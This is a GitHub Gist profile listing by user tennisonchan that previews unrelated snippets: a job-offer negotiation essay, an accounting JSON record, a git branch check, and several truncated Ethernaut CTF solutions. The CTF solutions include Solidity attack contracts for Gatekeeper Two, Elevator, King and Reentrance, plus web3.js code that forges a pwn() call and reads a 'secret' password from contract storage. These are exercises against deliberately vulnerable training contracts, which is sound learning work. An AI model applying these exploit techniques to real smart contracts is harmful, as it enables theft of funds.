Skip to content

Instantly share code, notes, and snippets.

View tennisonchan's full-sized avatar

Tennison Chan tennisonchan

  • Truewind
  • San Francisco
View GitHub Profile

#Ten Rules for Negotiating a Job Offer

Always Negotiate

You might think to yourself: “well, I don’t want to set high expectations, and the offer is already generous, so I ought to just take it.“ No. Negotiate.

Or maybe: “I don’t want to start off on the wrong foot and look greedy with my future employer.“ No. Negotiate.

"But this company is small and—"

{
"QueryResponse": {
"Account": [
{
"Name": "6981 Allocation - CI Allocation to COGS",
"SubAccount": false,
"FullyQualifiedName": "6981 Allocation - CI Allocation to COGS",
"Active": true,
"Classification": "Expense",
"AccountType": "Expense",
@tennisonchan
tennisonchan / check_branch.sh
Last active August 3, 2022 04:19
Check if branch exists in #git
# if branch_name exists, it will return its hash
# if not, it will returns null
git rev-parse --verify --quiet branch_name
@tennisonchan
tennisonchan / contracts...GatekeeperTwoAttack.sol
Last active January 19, 2022 06:44
Ethernaut - Level 14 - Gatekeeper Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface GatekeeperTwoInterface {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperTwoAttack {
GatekeeperTwo public target;
address public targetAddress = 0x83eEe41AB63d62973bA8E3D3467DDb37bE58F22b;
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Privacy.sol";
contract Controll {
Privacy public target;
constructor(address targetAddress) public {
// 0x3C3231f89DeC634f028e25d899e307e185E2c4c7
@tennisonchan
tennisonchan / contracts...Controll.sol
Created January 17, 2022 19:18
Ethernaut - Level 11 - Elevator
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Elevator.sol";
contract Controll {
Elevator public target;
uint public count;
constructor(address targetAddress) public {
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./King.sol";
contract Controller {
King public target;
constructor(address payable targetAddress) public payable {
// 0x53AE1A698211016e92ece4102217DBdBDC325022
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Reentrance.sol";
contract Controller {
Reentrance public target;
constructor(address payable targetAddress) public payable {
// 0xD72957ffc647afEd747d0aDF9bA2E7674c3574EF
const signature = web3.utils.sha3('pwn()').slice(0,10);
const valueToUpdate = 1234;
const msgData = signature + web3.utils.toHex(valueToUpdate).slice(2).padStart(64, '0');
await web3.eth.sendTransaction({
from: player,
to: contract.address,
gas: 2999992,
data: msgData},
);
await contract.locked(); // true
const pwdInHex = await web3.eth.getStorageAt(contract.address, 1) // '0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
const pwd = web3.utils.hexToAscii(pwdInHex); // 'A very strong secret password :)'
await contract.unlock(web3.utils.asciiToHex(pwd), {from: player})
await contract.locked(); // false